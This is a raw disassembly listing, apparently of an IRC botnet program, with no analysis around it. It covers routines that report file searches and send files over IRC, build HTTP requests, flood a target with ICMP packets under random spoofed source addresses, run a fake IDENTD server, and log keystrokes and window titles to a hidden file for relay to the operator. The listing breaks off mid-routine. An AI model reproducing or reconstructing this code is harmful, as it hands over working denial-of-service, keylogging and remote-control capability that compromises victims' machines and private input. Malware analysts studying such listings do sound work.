lea eax, [ebp+var_248]
push ebx
push eax
call sub_418E70
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_44B710 ; send
mov eax, [ebp+var_368]
shr eax, 0Ah
push eax
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
lea eax, [ebp+var_248]
push edi
push eax
call sub_418EF0
add esp, 1Ch
jmp short loc_407B65
; ---------------------------------------------------------------------------
loc_407B3F: ; CODE XREF: sub_4075C7+47Bj
push [ebp+var_368]
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n"
push esi
loc_407B56: ; CODE XREF: sub_4075C7+407j
lea eax, [ebp+var_248]
push eax
call sub_418EF0
add esp, 18h
loc_407B65: ; CODE XREF: sub_4075C7+31Dj
; sub_4075C7+449j ...
lea eax, [ebp+var_248]
push ebx
push eax
call sub_418E70
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_44B710 ; send
cmp [ebp+arg_8], ebx
jz short loc_407B94
push 7D0h
call ds:dword_4942D8
loc_407B94: ; CODE XREF: sub_4075C7+226j
; sub_4075C7+241j ...
lea eax, [ebp+var_388]
push eax
push [ebp+arg_0]
call ds:dword_494338
test eax, eax
jnz loc_4077E7
loc_407BAC: ; CODE XREF: sub_4075C7+215j
push [ebp+arg_0]
call ds:dword_494334
cmp [ebp+arg_8], ebx
jz short loc_407BEF
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_4055AD
pop ecx
pop ecx
push eax
mov eax, [ebp+var_4]
cdq
push edx
push eax
call sub_4055AD
pop ecx
pop ecx
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
push eax
call sub_418D70
add esp, 14h
jmp short loc_407C23
; ---------------------------------------------------------------------------
loc_407BEF: ; CODE XREF: sub_4075C7+5F1j
cmp [ebp+arg_C], ebx
jz short loc_407C09
lea eax, [ebp+var_248]
push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
push eax
call sub_418D70
pop ecx
pop ecx
jmp short loc_407C23
; ---------------------------------------------------------------------------
loc_407C09: ; CODE XREF: sub_4075C7+62Bj
push [ebp+var_8]
lea eax, [ebp+var_248]
push [ebp+var_4]
push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
push eax
call sub_418D70
add esp, 10h
loc_407C23: ; CODE XREF: sub_4075C7+626j
; sub_4075C7+640j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_418E70
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_44B710 ; send
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_4075C7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407C49 proc near ; CODE XREF: sub_407195+13Bp
var_404 = byte ptr -404h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 404h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push 3
push esi
push 1
push 80000000h
push [ebp+arg_4]
mov edi, 400h
mov [ebp+var_4], esi
call ds:dword_4942EC
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_407D01
push esi
push ebx
call ds:dword_49431C
cmp eax, esi
mov [ebp+arg_4], eax
jz short loc_407CFA
loc_407C8E: ; CODE XREF: sub_407C49+AFj
push 400h
lea eax, [ebp+var_404]
push esi
push eax
call sub_4189A0
add esp, 0Ch
cmp edi, [ebp+arg_4]
jbe short loc_407CAB
mov edi, [ebp+arg_4]
loc_407CAB: ; CODE XREF: sub_407C49+5Dj
mov eax, [ebp+arg_4]
push 2
neg eax
push esi
push eax
push ebx
call ds:dword_494318
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_404]
push edi
push eax
push ebx
call ds:dword_4942DC
push esi
lea eax, [ebp+var_404]
push edi
push eax
push [ebp+arg_0]
call dword_44B710 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_407CF5
call dword_44B654 ; WSAGetLastError
cmp eax, 2733h
jnz short loc_407CFA
xor eax, eax
loc_407CF5: ; CODE XREF: sub_407C49+9Bj
sub [ebp+arg_4], eax
jnz short loc_407C8E
loc_407CFA: ; CODE XREF: sub_407C49+43j
; sub_407C49+A8j
push ebx
call ds:dword_4942E0
loc_407D01: ; CODE XREF: sub_407C49+30j
pop edi
pop esi
pop ebx
leave
retn
sub_407C49 endp
; =============== S U B R O U T I N E =======================================
sub_407D06 proc near ; CODE XREF: sub_407317+17Cp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
push edi
call sub_418E70
test eax, eax
pop ecx
jbe short loc_407D2F
loc_407D19: ; CODE XREF: sub_407D06+27j
cmp byte ptr [esi+edi], 5Ch
jnz short loc_407D23
mov byte ptr [esi+edi], 2Fh
loc_407D23: ; CODE XREF: sub_407D06+17j
push edi
inc esi
call sub_418E70
cmp esi, eax
pop ecx
jb short loc_407D19
loc_407D2F: ; CODE XREF: sub_407D06+11j
mov eax, edi
pop edi
pop esi
retn
sub_407D06 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407D34 proc near ; CODE XREF: sub_40C50A+2C0Bp
var_4A0 = byte ptr -4A0h
var_310 = byte ptr -310h
var_110 = byte ptr -110h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 4A0h
push ebx
lea eax, [ebp+var_4A0]
push edi
push eax
push 101h
call dword_44B638 ; WSAStartup
push 6
push 1
push 2
call dword_44B740 ; socket
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_4189A0
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_14]
call dword_44B6C0 ; htons
push [ebp+arg_10]
mov [ebp+var_E], ax
call sub_40AED0
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_44B668 ; connect
cmp eax, 0FFFFFFFFh
jz short loc_407E11
mov eax, [ebp+arg_20]
cmp eax, edi
jnz short loc_407DAD
mov eax, offset dword_44B164
loc_407DAD: ; CODE XREF: sub_407D34+72j
push esi
mov esi, 100h
push [ebp+arg_10]
push eax
lea eax, [ebp+var_110]
push [ebp+arg_1C]
push [ebp+arg_18]
push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
push esi
push eax
call sub_418EF0
add esp, 1Ch
lea eax, [ebp+var_110]
push edi
push eax
call sub_418E70
pop ecx
push eax
lea eax, [ebp+var_110]
push eax
push ebx
call dword_44B710 ; send
push esi
lea eax, [ebp+var_110]
push edi
push eax
call sub_418A00
add esp, 0Ch
lea eax, [ebp+var_110]
push edi
push esi
push eax
push ebx
call dword_44B6D8 ; recv
pop esi
loc_407E11: ; CODE XREF: sub_407D34+6Bj
push ebx
call dword_44B758 ; closesocket
call dword_44B620 ; WSACleanup
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_310]
push eax
call sub_418D70
cmp [ebp+arg_C], edi
pop ecx
pop ecx
jnz short loc_407E51
push edi
lea eax, [ebp+var_310]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40842D
add esp, 14h
loc_407E51: ; CODE XREF: sub_407D34+102j
pop edi
pop ebx
leave
retn
sub_407D34 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407E55 proc near ; DATA XREF: sub_40C50A+3C04o
var_3BC = byte ptr -3BCh
var_1BC = dword ptr -1BCh
var_1B8 = byte ptr -1B8h
var_138 = byte ptr -138h
var_B8 = byte ptr -0B8h
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3BCh
push ebx
push esi
mov eax, [ebp+arg_0]
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp+var_1BC]
push 1
pop ebx
push 0FFh
push 3
rep movsd
push 2
mov [eax+19Ch], ebx
call dword_44B740 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_407EF0
call dword_44B654 ; WSAGetLastError
push eax
lea eax, [ebp+var_3BC]
push offset aIcmpErrorSocke ; "[ICMP]: Error: socket() failed, returne"...
push eax
call sub_418D70
xor edi, edi
add esp, 0Ch
cmp [ebp+var_24], edi
jnz short loc_407ED3
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_40842D
add esp, 14h
loc_407ED3: ; CODE XREF: sub_407E55+5Cj
lea eax, [ebp+var_3BC]
push eax
call sub_4035E1
push [ebp+var_38]
call sub_416507
pop ecx
pop ecx
push edi
call ds:dword_4942FC
loc_407EF0: ; CODE XREF: sub_407E55+3Aj
lea ecx, [ebp+var_C]
push 4
push ecx
xor edi, edi
push 2
push edi
push eax
mov [ebp+var_C], ebx
call dword_44B6A0 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_407F67
call dword_44B654 ; WSAGetLastError
push eax
lea eax, [ebp+var_3BC]
push offset aIcmpErrorSetso ; "[ICMP]: Error: setsockopt() failed, ret"...
push eax
call sub_418D70
add esp, 0Ch
cmp [ebp+var_24], edi
jnz short loc_407F4A
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_40842D
add esp, 14h
loc_407F4A: ; CODE XREF: sub_407E55+D3j
lea eax, [ebp+var_3BC]
push eax
call sub_4035E1
push [ebp+var_38]
call sub_416507
pop ecx
pop ecx
push edi
call ds:dword_4942FC
loc_407F67: ; CODE XREF: sub_407E55+B3j
lea eax, [ebp+var_1B8]
push eax
call dword_44B700 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short loc_407FCE
lea eax, [ebp+var_3BC]
push offset aIcmpInvalidTar ; "[ICMP]: Invalid target IP."
push eax
call sub_418D70
cmp [ebp+var_24], edi
pop ecx
pop ecx
jnz short loc_407FB1
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_40842D
add esp, 14h
loc_407FB1: ; CODE XREF: sub_407E55+13Aj
lea eax, [ebp+var_3BC]
push eax
call sub_4035E1
push [ebp+var_38]
call sub_416507
pop ecx
pop ecx
push edi
call ds:dword_4942FC
loc_407FCE: ; CODE XREF: sub_407E55+122j
push 10h
lea eax, [ebp+var_1C]
push edi
push eax
call sub_4189A0
add esp, 0Ch
mov [ebp+var_1C], 2
push edi
call dword_44B6C0 ; htons
mov [ebp+var_1A], ax
lea eax, [ebp+var_1B8]
push eax
call dword_44B700 ; inet_addr
mov esi, ds:dword_494308
mov [ebp+var_18], eax
mov [ebp+arg_0], edi
call esi
mov [ebp+var_8], eax
loc_40800C: ; CODE XREF: sub_407E55+2E8j
call esi
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+var_30]
ja loc_4081B7
push 41Ch
mov byte_44B168, 45h
call dword_44B6C0 ; htons
cmp [ebp+var_2C], edi
mov word_44B16A, ax
mov word_44B16C, bx
mov word_44B16E, di
mov byte_44B170, 80h
mov byte_44B171, bl
mov word_44B172, di
jz short loc_408092
call sub_419000
mov ebx, eax
shl ebx, 8
call sub_419000
add ebx, eax
shl ebx, 8
call sub_419000
add ebx, eax
shl ebx, 8
call sub_419000
add ebx, eax
push 1
mov dword_44B174, ebx
pop ebx
jmp short loc_4080AA
; ---------------------------------------------------------------------------
loc_408092: ; CODE XREF: sub_407E55+20Bj
push [ebp+var_1BC]
call sub_40AFEC
pop ecx
push eax
call dword_44B700 ; inet_addr
mov dword_44B174, eax
loc_4080AA: ; CODE XREF: sub_407E55+23Bj
mov eax, [ebp+var_18]
mov dword_44B178, eax
call sub_419000
cdq
mov ecx, 100h
idiv ecx
mov byte_44B17C, dl
call sub_419000
cdq
mov ecx, 100h
idiv ecx
mov byte_44B17D, dl
call sub_419000
cdq
mov ecx, 0F0h
push 400h
idiv ecx
mov word_44B17E, di
mov word_44B182, bx
inc edx
mov word_44B180, dx
call sub_419000
cdq
mov ecx, 0FFh
idiv ecx
push edx
push offset dword_44B184
call sub_4189A0
add esp, 0Ch
lea eax, [ebp+var_1C]
push 10h
push eax
push edi
push 41Ch
push offset byte_44B168
push [ebp+var_4]
call dword_44B724 ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_408142
inc [ebp+arg_0]
jmp loc_40800C
; ---------------------------------------------------------------------------
loc_408142: ; CODE XREF: sub_407E55+2E3j
push [ebp+var_4]
call dword_44B758 ; closesocket
call dword_44B654 ; WSAGetLastError
push eax
lea eax, [ebp+var_1B8]
push [ebp+arg_0]
push eax
push offset aIcmpErrorSendi ; "[ICMP]: Error sending packets to IP: %s"...
lea eax, [ebp+var_3BC]
push 200h
push eax
call sub_418EF0
add esp, 18h
cmp [ebp+var_24], edi
jnz short loc_40819A
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_40842D
add esp, 14h
loc_40819A: ; CODE XREF: sub_407E55+323j
lea eax, [ebp+var_3BC]
push eax
call sub_4035E1
push [ebp+var_38]
call sub_416507
pop ecx
pop ecx
push edi
call ds:dword_4942FC
loc_4081B7: ; CODE XREF: sub_407E55+1C8j
push [ebp+var_4]
call dword_44B758 ; closesocket
mov eax, [ebp+arg_0]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div [ebp+var_30]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp+var_1B8]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_138]
push eax
lea eax, [ebp+var_3BC]
push offset aIcmpDoneWithSF ; "[ICMP]: Done with %s flood to IP: %s. S"...
push eax
call sub_418D70
add esp, 1Ch
cmp [ebp+var_24], edi
jnz short loc_40821F
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_40842D
add esp, 14h
loc_40821F: ; CODE XREF: sub_407E55+3A8j
lea eax, [ebp+var_3BC]
push eax
call sub_4035E1
push [ebp+var_38]
call sub_416507
pop ecx
pop ecx
push edi
call ds:dword_4942FC
sub_407E55 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40823C proc near ; DATA XREF: sub_40BBCB+4B5o
; sub_40C50A+1D84o
var_238 = byte ptr -238h
var_38 = byte ptr -38h
var_2C = byte ptr -2Ch
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 238h
push ebx
push esi
push edi
push 10h
pop edi
xor esi, esi
push edi
lea eax, [ebp+var_1C]
push esi
push eax
mov [ebp+var_8], esi
call sub_4189A0
add esp, 0Ch
mov [ebp+var_1C], 2
push 71h
call dword_44B6C0 ; htons
push esi
push 1
push 2
mov [ebp+var_1A], ax
mov [ebp+var_18], esi
call dword_44B740 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40839D
mov eax, [ebp+arg_0]
push edi
imul eax, 234h
mov dword_44D064[eax], ebx
lea eax, [ebp+var_1C]
push eax
push ebx
call dword_44B6EC ; bind
cmp eax, 0FFFFFFFFh
jz loc_40839D
push 5
push ebx
call dword_44B6E8 ; listen
cmp eax, 0FFFFFFFFh
jz loc_40839D
mov [ebp+var_C], edi
mov edi, 200h
loc_4082C7: ; CODE XREF: sub_40823C+EAj
; sub_40823C+14Aj ...
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_2C]
push eax
push ebx
call dword_44B754 ; accept
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_408398
movzx eax, [ebp+var_2A]
push eax
push [ebp+var_28]
call dword_44B74C ; inet_ntoa
push eax
lea eax, [ebp+var_238]
push offset aIdentdClientCo ; "[IDENTD]: Client connection from IP: %s"...
push eax
call sub_418D70
lea eax, [ebp+var_238]
push eax
call sub_4035E1
add esp, 14h
lea eax, [ebp+var_238]
push esi
push edi
push eax
push [ebp+var_4]
call dword_44B6D8 ; recv
cmp eax, 0FFFFFFFFh
jz short loc_4082C7
lea eax, [ebp+var_238]
push esi
push eax
call sub_4098D3
push 0Ch
lea eax, [ebp+var_38]
push esi
push eax
call sub_4189A0
push esi
push esi
lea eax, [ebp+var_38]
push 2
push eax
call sub_4138AA
push eax
push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n"
lea eax, [ebp+var_238]
push edi
push eax
call sub_418EF0
add esp, 34h
lea eax, [ebp+var_238]
push esi
push eax
call sub_418E70
pop ecx
push eax
lea eax, [ebp+var_238]
push eax
push [ebp+var_4]
call dword_44B710 ; send
cmp eax, 0FFFFFFFFh
jz loc_4082C7
mov [ebp+var_8], 1
jmp loc_4082C7
; ---------------------------------------------------------------------------
loc_408398: ; CODE XREF: sub_40823C+A0j
cmp [ebp+var_8], esi
jnz short loc_4083C4
loc_40839D: ; CODE XREF: sub_40823C+47j
; sub_40823C+6Bj ...
call dword_44B654 ; WSAGetLastError
push eax
lea eax, [ebp+var_238]
push offset aIdentdErrorSer ; "[IDENTD]: Error: server failed, returne"...
push eax
call sub_418D70
lea eax, [ebp+var_238]
push eax
call sub_4035E1
add esp, 10h
loc_4083C4: ; CODE XREF: sub_40823C+15Fj
push ebx
call dword_44B758 ; closesocket
push [ebp+var_4]
call dword_44B758 ; closesocket
push [ebp+arg_0]
call sub_416507
pop ecx
push esi
call ds:dword_4942FC
pop edi
pop esi
pop ebx
sub_40823C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4083E7 proc near ; CODE XREF: sub_40C392+3Dp
; sub_40C50A+1C2p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push 200h
push eax
call sub_4193F0
add esp, 10h
lea eax, [ebp+var_200]
push 0
push eax
call sub_418E70
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_44B710 ; send
leave
retn
sub_4083E7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40842D proc near ; CODE XREF: sub_4013F1+314p
; .text:00401A0Ap ...
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 400h
cmp [ebp+arg_C], 0
push esi
push edi
mov edi, offset aNotice ; "NOTICE"
jnz short loc_408448
mov edi, offset aPrivmsg ; "PRIVMSG"
loc_408448: ; CODE XREF: sub_40842D+14j
push edi
call sub_418E70
push [ebp+arg_4]
mov esi, 1FAh
sub esi, eax
call sub_418E70
push [ebp+arg_8]
sub esi, eax
lea eax, [ebp+var_400]
push offset aS_7 ; "%s"
push esi
push eax
call sub_418EF0
lea eax, [ebp+var_400]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push edi
push offset aSSS ; "%s %s :%s\r\n"
push eax
call sub_418D70
add esp, 2Ch
lea eax, [ebp+var_200]
push 0
push eax
call sub_418E70
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_44B710 ; send
cmp [ebp+arg_10], 0
pop edi
pop esi
jz short locret_4084C6
push 7D0h
call ds:dword_4942D8
locret_4084C6: ; CODE XREF: sub_40842D+8Cj
leave
retn
sub_40842D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4084C8 proc near ; CODE XREF: sub_4085A9+B4p
; sub_4085A9+253p
var_314 = byte ptr -314h
var_114 = byte ptr -114h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = byte ptr 14h
arg_8C = dword ptr 94h
arg_90 = dword ptr 98h
push ebp
mov ebp, esp
sub esp, 314h
lea eax, [ebp+var_10]
push esi
push eax
call ds:dword_494314
lea eax, [ebp+var_114]
push 104h
push eax
call ds:dword_494320
lea eax, [ebp+var_114]
push offset dword_43994C
push eax
call sub_419FB0
lea eax, [ebp+var_114]
push offset aMscobngins_dat ; "mscobngins.dat"
push eax
call sub_419FB0
lea eax, [ebp+var_114]
push offset dword_439950
push eax
call sub_419D70
mov esi, eax
add esp, 18h
test esi, esi
jnz short loc_40852F
push 1
pop eax
jmp short loc_4085A6
; ---------------------------------------------------------------------------
loc_40852F: ; CODE XREF: sub_4084C8+60j
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n"
push esi
call sub_41AD60
push esi
call sub_419740
add esp, 28h
cmp [ebp+arg_90], 0
jnz short loc_4085A4
push [ebp+arg_0]
lea eax, [ebp+var_314]
push offset aKeylogS ; "[KEYLOG]: %s"
push 200h
push eax
call sub_418EF0
push 0
lea eax, [ebp+var_314]
push [ebp+arg_8C]
push eax
lea eax, [ebp+arg_C]
push eax
push [ebp+arg_4]
call sub_40842D
add esp, 24h
loc_4085A4: ; CODE XREF: sub_4084C8+A3j
xor eax, eax
loc_4085A6: ; CODE XREF: sub_4084C8+65j
pop esi
leave
retn
sub_4084C8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4085A9 proc near ; DATA XREF: sub_40C50A+1F23o
var_8DC = dword ptr -8DCh
var_8D8 = byte ptr -8D8h
var_4DC = byte ptr -4DCh
var_2DD = byte ptr -2DDh
var_2DC = byte ptr -2DCh
var_DC = byte ptr -0DCh
var_D8 = dword ptr -0D8h
var_48 = byte ptr -48h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8DCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
and [ebp+var_8DC], 0
push 25h
and [ebp+var_4], 0
pop ecx
mov esi, eax
lea edi, [ebp+var_DC]
rep movsd
mov dword ptr [eax+90h], 1
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp+var_8D8]
rep stosd
call dword_44B648 ; GetForegroundWindow
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
mov [ebp+var_8], eax
call dword_44B65C ; GetWindowTextA
mov ebx, 200h
loc_408604: ; CODE XREF: sub_4085A9+2C7j
push 8
call ds:dword_4942D8
call dword_44B648 ; GetForegroundWindow
cmp eax, [ebp+var_8]
jz short loc_40868C
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
mov [ebp+var_8], eax
call dword_44B65C ; GetWindowTextA
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2DC]
push eax
lea eax, [ebp+var_4DC]
push offset aSChangedWindow ; "%s (Changed Windows: %s)"
push eax
call sub_418D70
sub esp, 84h
lea esi, [ebp+var_DC]
lea eax, [ebp+var_4DC]
push 25h
pop ecx
mov edi, esp
push eax
rep movsd
call sub_4084C8
mov [ebp+var_4], eax
push ebx
lea eax, [ebp+var_2DC]
push 0
push eax
call sub_4189A0
add esp, 0A4h
lea eax, [ebp+var_4DC]
push ebx
push 0
push eax
call sub_4189A0
add esp, 0Ch
loc_40868C: ; CODE XREF: sub_4085A9+6Cj
mov [ebp+arg_0], offset aB ; "b"
loc_408693: ; CODE XREF: sub_4085A9+2BDj
push 10h
call dword_44B5A0 ; GetKeyState
movsx esi, ax
mov eax, [ebp+arg_0]
mov edi, [eax-4]
push edi
call dword_44B68C ; GetAsyncKeyState
test ah, 80h
jz short loc_40872B
push 14h
call dword_44B5A0 ; GetKeyState
test ax, ax
jz short loc_4086DC
cmp esi, 0FFFFFFFFh
jle short loc_4086DC
cmp edi, 40h
jle short loc_4086DC
cmp edi, 5Bh
jge short loc_4086DC
mov [ebp+edi*4+var_8DC], 1
jmp loc_40885B
; ---------------------------------------------------------------------------
loc_4086DC: ; CODE XREF: sub_4085A9+112j
; sub_4085A9+117j ...
push 14h
call dword_44B5A0 ; GetKeyState
test ax, ax
jz short loc_408707
test esi, esi
jge short loc_40871B
cmp edi, 40h
jle short loc_408707
cmp edi, 5Bh
jge short loc_408707
mov [ebp+edi*4+var_8DC], 2
jmp loc_40885B
; ---------------------------------------------------------------------------
loc_408707: ; CODE XREF: sub_4085A9+13Ej
; sub_4085A9+147j ...
test esi, esi
jge short loc_40871B
mov [ebp+edi*4+var_8DC], 3
jmp loc_40885B
; ---------------------------------------------------------------------------
loc_40871B: ; CODE XREF: sub_4085A9+142j
; sub_4085A9+160j
mov [ebp+edi*4+var_8DC], 4
jmp loc_40885B
; ---------------------------------------------------------------------------
loc_40872B: ; CODE XREF: sub_4085A9+105j
mov esi, [ebp+edi*4+var_8DC]
lea eax, [ebp+edi*4+var_8DC]
test esi, esi
jz loc_40885B
and dword ptr [eax], 0
lea eax, [ebp+var_2DC]
cmp edi, 8
push eax
jnz short loc_408763
call sub_418E70
and [ebp+eax+var_2DD], 0
pop ecx
jmp loc_40885B
; ---------------------------------------------------------------------------
loc_408763: ; CODE XREF: sub_4085A9+1A5j
call sub_418E70
cmp eax, 1B9h
pop ecx
jbe short loc_408795
call dword_44B648 ; GetForegroundWindow
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
call dword_44B65C ; GetWindowTextA
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2DC]
push eax
push offset aSBufferFullS ; "%s (Buffer full) (%s)"
jmp short loc_4087D6
; ---------------------------------------------------------------------------
loc_408795: ; CODE XREF: sub_4085A9+1C5j
cmp edi, 0Dh
jnz loc_40882D
lea eax, [ebp+var_2DC]
push eax
call sub_418E70
test eax, eax
pop ecx
jz loc_40885B
call dword_44B648 ; GetForegroundWindow
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
call dword_44B65C ; GetWindowTextA
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2DC]
push eax
push offset aSReturnS ; "%s (Return) (%s)"
loc_4087D6: ; CODE XREF: sub_4085A9+1EAj
lea eax, [ebp+var_4DC]
push eax
call sub_418D70
sub esp, 84h
lea esi, [ebp+var_DC]
lea eax, [ebp+var_4DC]
push 25h
pop ecx
mov edi, esp
push eax
rep movsd
call sub_4084C8
mov [ebp+var_4], eax
push ebx
lea eax, [ebp+var_2DC]
push 0
push eax
call sub_4189A0
add esp, 0A4h
lea eax, [ebp+var_4DC]
push ebx
push 0
push eax
call sub_4189A0
add esp, 0Ch
jmp short loc_40885B
; ---------------------------------------------------------------------------
loc_40882D: ; CODE XREF: sub_4085A9+1EFj
cmp esi, 1
jz short loc_408846
cmp esi, 3
jz short loc_408846
cmp esi, 2
jz short loc_408841
cmp esi, 4
jnz short loc_40885B
loc_408841: ; CODE XREF: sub_4085A9+291j
push [ebp+arg_0]
jmp short loc_40884D
; ---------------------------------------------------------------------------
loc_408846: ; CODE XREF: sub_4085A9+287j
; sub_4085A9+28Cj
mov eax, [ebp+arg_0]
add eax, 7
push eax
loc_40884D: ; CODE XREF: sub_4085A9+29Bj
lea eax, [ebp+var_2DC]
push eax
call sub_419FB0
pop ecx
pop ecx
loc_40885B: ; CODE XREF: sub_4085A9+12Ej
; sub_4085A9+159j ...
add [ebp+arg_0], 14h
cmp [ebp+arg_0], offset dword_439914
jl loc_408693
cmp [ebp+var_4], 0
jz loc_408604
push [ebp+var_D8]
call sub_416507
pop ecx
push 0
call ds:dword_4942FC
sub_4085A9 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40888A proc near ; CODE XREF: sub_40BBCB+4Bp
push ebx
push ebp
mov ebp, ds:dword_494380
push esi
push edi
push offset aKernel32_dll ; "kernel32.dll"
call ebp
mov esi, ds:dword_494348
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz loc_4089AA
push offset aSeterrormode ; "SetErrorMode"
push edi
call esi
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push edi
mov dword_44B76C, eax
call esi
push offset aProcess32first ; "Process32First"
push edi
mov dword_44B6E0, eax
call esi
push offset aProcess32next ; "Process32Next"
push edi
mov dword_44B6C4, eax
call esi
push offset aModule32first ; "Module32First"
